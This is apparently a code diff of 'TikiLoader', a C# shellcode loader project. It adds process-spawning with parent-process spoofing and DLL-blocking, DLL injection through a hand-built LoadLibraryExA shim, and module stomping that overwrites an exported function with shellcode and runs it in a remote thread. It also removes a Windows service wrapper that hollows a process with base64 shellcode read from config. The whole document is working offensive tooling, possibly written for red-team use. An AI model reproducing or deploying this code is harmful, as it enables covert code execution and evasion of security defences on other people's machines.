throw new Exception("Failed to InitializeProcThreadAttributeList");
|
||||
|
||||
if (BlockDlls)
|
||||
{
|
||||
Marshal.WriteIntPtr(lpValue,
|
||||
Is64Bit ?
|
||||
new IntPtr(Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)
|
||||
: new IntPtr(unchecked((uint)Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)));
|
||||
|
||||
success = Win32.UpdateProcThreadAttribute(
|
||||
startupInfoEx.lpAttributeList,
|
||||
(IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
|
||||
lpValue);
|
||||
|
||||
if (!success)
|
||||
throw new Exception("Failed to UpdateProcThreadAttribute for BlockDLLs");
|
||||
}
|
||||
|
||||
if (ParentId != 0)
|
||||
{
|
||||
var hParent = Process.GetProcessById(ParentId).Handle;
|
||||
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
|
||||
Marshal.WriteIntPtr(lpValue, hParent);
|
||||
|
||||
success = Win32.UpdateProcThreadAttribute(
|
||||
startupInfoEx.lpAttributeList,
|
||||
(IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
|
||||
lpValue);
|
||||
|
||||
if (!success)
|
||||
throw new Exception("Failed to UpdateProcThreadAttribute for PPID Spoofing");
|
||||
}
|
||||
|
||||
success = Win32.CreateProcessA(
|
||||
BinaryPath,
|
||||
WorkingDirectory,
|
||||
Data.Win32.Kernel32.EXTENDED_STARTUPINFO_PRESENT,
|
||||
startupInfoEx,
|
||||
out var pi);
|
||||
|
||||
if (!success)
|
||||
throw new Exception($"Failed to spawn {BinaryPath}");
|
||||
|
||||
// suppose we don't really care if this fails, it's not critical
|
||||
_ = Win32.DeleteProcThreadAttribute(startupInfoEx.lpAttributeList);
|
||||
Marshal.FreeHGlobal(lpValue);
|
||||
|
||||
return pi;
|
||||
}
|
||||
|
||||
private bool LoadModule(Data.Win32.Kernel32.PROCESS_INFORMATION pi)
|
||||
{
|
||||
// Get address of LoadLibraryExA
|
||||
var kernel32 = Generic.GetPebLdrModuleEntry("kernel32.dll");
|
||||
var loadLibraryEx = Generic.GetExportAddress(kernel32, "LoadLibraryExA");
|
||||
|
||||
// Generate Shim
|
||||
var shim = GenerateShim((long)loadLibraryEx);
|
||||
var moduleName = Encoding.ASCII.GetBytes(ModuleName);
|
||||
|
||||
// Allocate memory regions
|
||||
var baseAddress = IntPtr.Zero;
|
||||
var regionSize = new IntPtr(moduleName.Length + 2);
|
||||
|
||||
// this one to hold the module name
|
||||
var allocModule = Native.NtAllocateVirtualMemory(
|
||||
pi.hProcess,
|
||||
ref baseAddress,
|
||||
IntPtr.Zero,
|
||||
ref regionSize,
|
||||
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
|
||||
Data.Win32.WinNT.PAGE_READWRITE);
|
||||
|
||||
baseAddress = IntPtr.Zero;
|
||||
regionSize = new IntPtr(shim.Length);
|
||||
|
||||
// this one to hold the shim
|
||||
var allocShim = Native.NtAllocateVirtualMemory(
|
||||
pi.hProcess,
|
||||
ref baseAddress,
|
||||
IntPtr.Zero,
|
||||
ref regionSize,
|
||||
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
|
||||
Data.Win32.WinNT.PAGE_READWRITE);
|
||||
|
||||
// Write memory
|
||||
var buffer = Marshal.AllocHGlobal(moduleName.Length);
|
||||
Marshal.Copy(moduleName, 0, buffer, moduleName.Length);
|
||||
|
||||
Native.NtWriteVirtualMemory(
|
||||
pi.hProcess,
|
||||
allocModule,
|
||||
buffer,
|
||||
(uint)moduleName.Length);
|
||||
|
||||
Marshal.FreeHGlobal(buffer);
|
||||
|
||||
buffer = Marshal.AllocHGlobal(shim.Length);
|
||||
Marshal.Copy(shim, 0, buffer, shim.Length);
|
||||
|
||||
Native.NtWriteVirtualMemory(
|
||||
pi.hProcess,
|
||||
allocShim,
|
||||
buffer,
|
||||
(uint)shim.Length);
|
||||
|
||||
Marshal.FreeHGlobal(buffer);
|
||||
|
||||
// Change the shim region from RW to RX
|
||||
var size = new IntPtr(shim.Length);
|
||||
Native.NtProtectVirtualMemory(
|
||||
pi.hProcess,
|
||||
ref allocShim,
|
||||
ref size,
|
||||
Data.Win32.WinNT.PAGE_EXECUTE_READ);
|
||||
|
||||
// Load DLL into process
|
||||
var hThread = IntPtr.Zero;
|
||||
Native.NtCreateThreadEx(
|
||||
ref hThread,
|
||||
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
|
||||
IntPtr.Zero,
|
||||
pi.hProcess,//process.Handle,
|
||||
allocShim,
|
||||
allocModule,
|
||||
false,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
IntPtr.Zero);
|
||||
|
||||
// Wait for thread
|
||||
Win32.WaitForSingleObject(hThread, Data.Win32.WinNT.INFINITE);
|
||||
|
||||
// Free memory regions
|
||||
size = IntPtr.Zero;
|
||||
Native.NtFreeVirtualMemory(
|
||||
pi.hProcess,
|
||||
ref allocModule,
|
||||
ref size,
|
||||
Data.Win32.Kernel32.MEM_RELEASE);
|
||||
|
||||
Native.NtFreeVirtualMemory(
|
||||
pi.hProcess,
|
||||
ref allocShim,
|
||||
ref size,
|
||||
Data.Win32.Kernel32.MEM_RELEASE);
|
||||
|
||||
using var process = Process.GetProcessById((int)pi.dwProcessId);
|
||||
return process.Modules.Cast<ProcessModule>().Any(module => module.ModuleName.Equals(ModuleName));
|
||||
}
|
||||
|
||||
private bool WriteAndExecuteShellcode(Data.Win32.Kernel32.PROCESS_INFORMATION pi, byte[] shellcode)
|
||||
{
|
||||
// Calculate offset from base to exported function
|
||||
var hModule = Generic.LoadModuleFromDisk(ModuleName);
|
||||
var export = Generic.GetExportAddress(hModule, ExportName);
|
||||
var offset = (long)export - (long)hModule;
|
||||
|
||||
var targetAddress = IntPtr.Zero;
|
||||
using var process = Process.GetProcessById((int)pi.dwProcessId);
|
||||
|
||||
foreach (ProcessModule module in process.Modules)
|
||||
{
|
||||
if (!module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase)) continue;
|
||||
|
||||
targetAddress = new IntPtr((long)module.BaseAddress + offset);
|
||||
break;
|
||||
}
|
||||
|
||||
// Write and execute shellcode
|
||||
var buffer = Marshal.AllocHGlobal(shellcode.Length);
|
||||
Marshal.Copy(shellcode, 0, buffer, shellcode.Length);
|
||||
|
||||
var size = new IntPtr(shellcode.Length);
|
||||
Native.NtProtectVirtualMemory(
|
||||
process.Handle,
|
||||
ref targetAddress,
|
||||
ref size,
|
||||
Data.Win32.WinNT.PAGE_READWRITE);
|
||||
|
||||
Native.NtWriteVirtualMemory(
|
||||
process.Handle,
|
||||
targetAddress,
|
||||
buffer,
|
||||
(uint)shellcode.Length);
|
||||
|
||||
Native.NtProtectVirtualMemory(
|
||||
process.Handle,
|
||||
ref targetAddress,
|
||||
ref size,
|
||||
Data.Win32.WinNT.PAGE_EXECUTE_READ);
|
||||
|
||||
Marshal.FreeHGlobal(buffer);
|
||||
|
||||
var hThread = IntPtr.Zero;
|
||||
Native.NtCreateThreadEx(
|
||||
ref hThread,
|
||||
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
|
||||
IntPtr.Zero,
|
||||
process.Handle,
|
||||
targetAddress,
|
||||
IntPtr.Zero,
|
||||
false,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
IntPtr.Zero);
|
||||
|
||||
return hThread != IntPtr.Zero;
|
||||
}
|
||||
|
||||
private byte[] GenerateShim(long loadLibraryExP)
|
||||
{
|
||||
using var ms = new MemoryStream();
|
||||
using var bw = new BinaryWriter(ms);
|
||||
|
||||
if (Is64Bit)
|
||||
{
|
||||
bw.Write((ulong)loadLibraryExP);
|
||||
var loadLibraryExBytes = ms.ToArray();
|
||||
|
||||
return new byte[] {
|
||||
0x48, 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], loadLibraryExBytes[4], loadLibraryExBytes[5], loadLibraryExBytes[6],loadLibraryExBytes[7],
|
||||
0x49, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00,
|
||||
0x48, 0x31, 0xD2,
|
||||
0xFF, 0xE0
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
bw.Write((uint)loadLibraryExP);
|
||||
var loadLibraryExBytes = ms.ToArray();
|
||||
|
||||
return new byte[] {
|
||||
0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3],
|
||||
0x6A, 0x01,
|
||||
0x6A, 0x00,
|
||||
0xFF, 0x74, 0x24, 0x0c,
|
||||
0xFF, 0xD0,
|
||||
0xC2, 0x0C, 0x00
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public class Structs
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
public IntPtr Reserved1;
|
||||
public IntPtr PebAddress;
|
||||
public IntPtr Reserved2;
|
||||
public IntPtr Reserved3;
|
||||
public IntPtr UniquePid;
|
||||
public IntPtr MoreReserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public uint cb;
|
||||
public IntPtr lpReserved;
|
||||
public IntPtr lpDesktop;
|
||||
public IntPtr lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttributes;
|
||||
public uint dwFlags;
|
||||
public ushort wShowWindow;
|
||||
public ushort cbReserved;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdErr;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public int bInheritHandle;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_INFO
|
||||
{
|
||||
public uint dwOem;
|
||||
public uint dwPageSize;
|
||||
public IntPtr lpMinAppAddress;
|
||||
public IntPtr lpMaxAppAddress;
|
||||
public IntPtr dwActiveProcMask;
|
||||
public uint dwNumProcs;
|
||||
public uint dwProcType;
|
||||
public uint dwAllocGranularity;
|
||||
public ushort wProcLevel;
|
||||
public ushort wProcRevision;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct LARGE_INTEGER
|
||||
{
|
||||
public uint LowPart;
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SHELLEXECUTEINFO
|
||||
{
|
||||
public int cbSize;
|
||||
public uint fMask;
|
||||
public IntPtr hwnd;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string lpVerb;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string lpFile;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string lpParameters;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string lpDirectory;
|
||||
public int nShow;
|
||||
public IntPtr hInstApp;
|
||||
public IntPtr lpIDList;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string lpClass;
|
||||
public IntPtr hkeyClass;
|
||||
public uint dwHotKey;
|
||||
public IntPtr hIcon;
|
||||
public IntPtr hProcess;
|
||||
}
|
||||
|
||||
public struct SID_IDENTIFIER_AUTHORITY
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)]
|
||||
public byte[] Value;
|
||||
public SID_IDENTIFIER_AUTHORITY(byte[] value)
|
||||
{
|
||||
Value = value;
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SID_AND_ATTRIBUTES
|
||||
{
|
||||
public IntPtr Sid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_MANDATORY_LABEL
|
||||
{
|
||||
public SID_AND_ATTRIBUTES Label;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CLIENT_ID
|
||||
{
|
||||
public int UniqueProcess;
|
||||
public int UniqueThread;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct THREAD_BASIC_INFORMATION
|
||||
{
|
||||
public int ExitStatus;
|
||||
public IntPtr TebBaseAddress;
|
||||
public CLIENT_ID ClientId;
|
||||
public IntPtr AffinityMask;
|
||||
public int Priority;
|
||||
public int BasePriority;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -9,9 +9,10 @@
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>TikiLoader</RootNamespace>
|
||||
<AssemblyName>TikiLoader</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<LangVersion>10</LangVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
@@ -43,13 +44,13 @@
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Enums.cs" />
|
||||
<Compile Include="Data.cs" />
|
||||
<Compile Include="Delegates.cs" />
|
||||
<Compile Include="Generic.cs" />
|
||||
<Compile Include="Imports.cs" />
|
||||
<Compile Include="Hollower.cs" />
|
||||
<Compile Include="Injector.cs" />
|
||||
<Compile Include="Native.cs" />
|
||||
<Compile Include="Stomper.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Structs.cs" />
|
||||
<Compile Include="Win32.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,52 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace TikiLoader
|
||||
{
|
||||
public static class Win32
|
||||
{
|
||||
public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, ref IntPtr lpSize)
|
||||
{
|
||||
object[] parameters = { lpAttributeList, dwAttributeCount, 0, lpSize };
|
||||
var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "InitializeProcThreadAttributeList", typeof(Delegates.InitializeProcThreadAttributeList), ref parameters);
|
||||
|
||||
lpSize = (IntPtr)parameters[3];
|
||||
return retVal;
|
||||
}
|
||||
|
||||
public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, IntPtr attribute, IntPtr lpValue)
|
||||
{
|
||||
object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero };
|
||||
var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(Delegates.UpdateProcThreadAttribute), ref parameters);
|
||||
return retVal;
|
||||
}
|
||||
|
||||
public static bool DeleteProcThreadAttribute(IntPtr lpAttributeList)
|
||||
{
|
||||
object[] parameters = { lpAttributeList };
|
||||
var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(Delegates.DeleteProcThreadAttributeList), ref parameters);
|
||||
return retVal;
|
||||
}
|
||||
|
||||
public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, Data.Win32.Kernel32.STARTUPINFOEX startupInfoEx, out Data.Win32.Kernel32.PROCESS_INFORMATION processInformation)
|
||||
{
|
||||
var pa = new Data.Win32.WinBase.SECURITY_ATTRIBUTES();
|
||||
var ta = new Data.Win32.WinBase.SECURITY_ATTRIBUTES();
|
||||
var pi = new Data.Win32.Kernel32.PROCESS_INFORMATION();
|
||||
|
||||
object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi };
|
||||
var result = (bool)Generic.DynamicApiInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters);
|
||||
|
||||
if (!result) processInformation = pi;
|
||||
|
||||
processInformation = (Data.Win32.Kernel32.PROCESS_INFORMATION)parameters[9];
|
||||
return result;
|
||||
}
|
||||
|
||||
public static uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds)
|
||||
{
|
||||
object[] parameters = { hHandle, dwMilliseconds };
|
||||
return (uint)Generic.DynamicApiInvoke(@"kernel32.dll", @"WaitForSingleObject", typeof(Delegates.WaitForSingleObject), ref parameters);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
<appSettings>
|
||||
<add key="Binary" value=""/>
|
||||
<add key="Shellcode" value=""/>
|
||||
</appSettings>
|
||||
</configuration>
|
||||
@@ -1,3 +0,0 @@
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,25 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.ServiceProcess;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace TikiService
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
/// <summary>
|
||||
/// The main entry point for the application.
|
||||
/// </summary>
|
||||
static void Main()
|
||||
{
|
||||
ServiceBase[] ServicesToRun;
|
||||
ServicesToRun = new ServiceBase[]
|
||||
{
|
||||
new TikiService()
|
||||
};
|
||||
ServiceBase.Run(ServicesToRun);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiService")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiService")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("fc700ac6-5182-421f-8853-0ad18cdbeb39")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
Generated
-37
@@ -1,37 +0,0 @@
|
||||
namespace TikiService
|
||||
{
|
||||
partial class TikiService
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Component Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
components = new System.ComponentModel.Container();
|
||||
this.ServiceName = "Service1";
|
||||
}
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
using System;
|
||||
using System.Configuration;
|
||||
using System.ServiceProcess;
|
||||
|
||||
using TikiLoader;
|
||||
|
||||
namespace TikiService
|
||||
{
|
||||
public partial class TikiService : ServiceBase
|
||||
{
|
||||
public TikiService()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
protected override void OnStart(string[] args)
|
||||
{
|
||||
try
|
||||
{
|
||||
var settings = ConfigurationManager.AppSettings;
|
||||
string binary = settings["Binary"];
|
||||
byte[] shellcode = Convert.FromBase64String(settings["Shellcode"]);
|
||||
|
||||
var hollower = new Hollower();
|
||||
hollower.HollowWithoutPid(binary, shellcode);
|
||||
}
|
||||
catch
|
||||
{
|
||||
//pokemon
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnStop()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.4.1.0\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{FC700AC6-5182-421F-8853-0AD18CDBEB39}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>TikiService</RootNamespace>
|
||||
<AssemblyName>TikiService</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
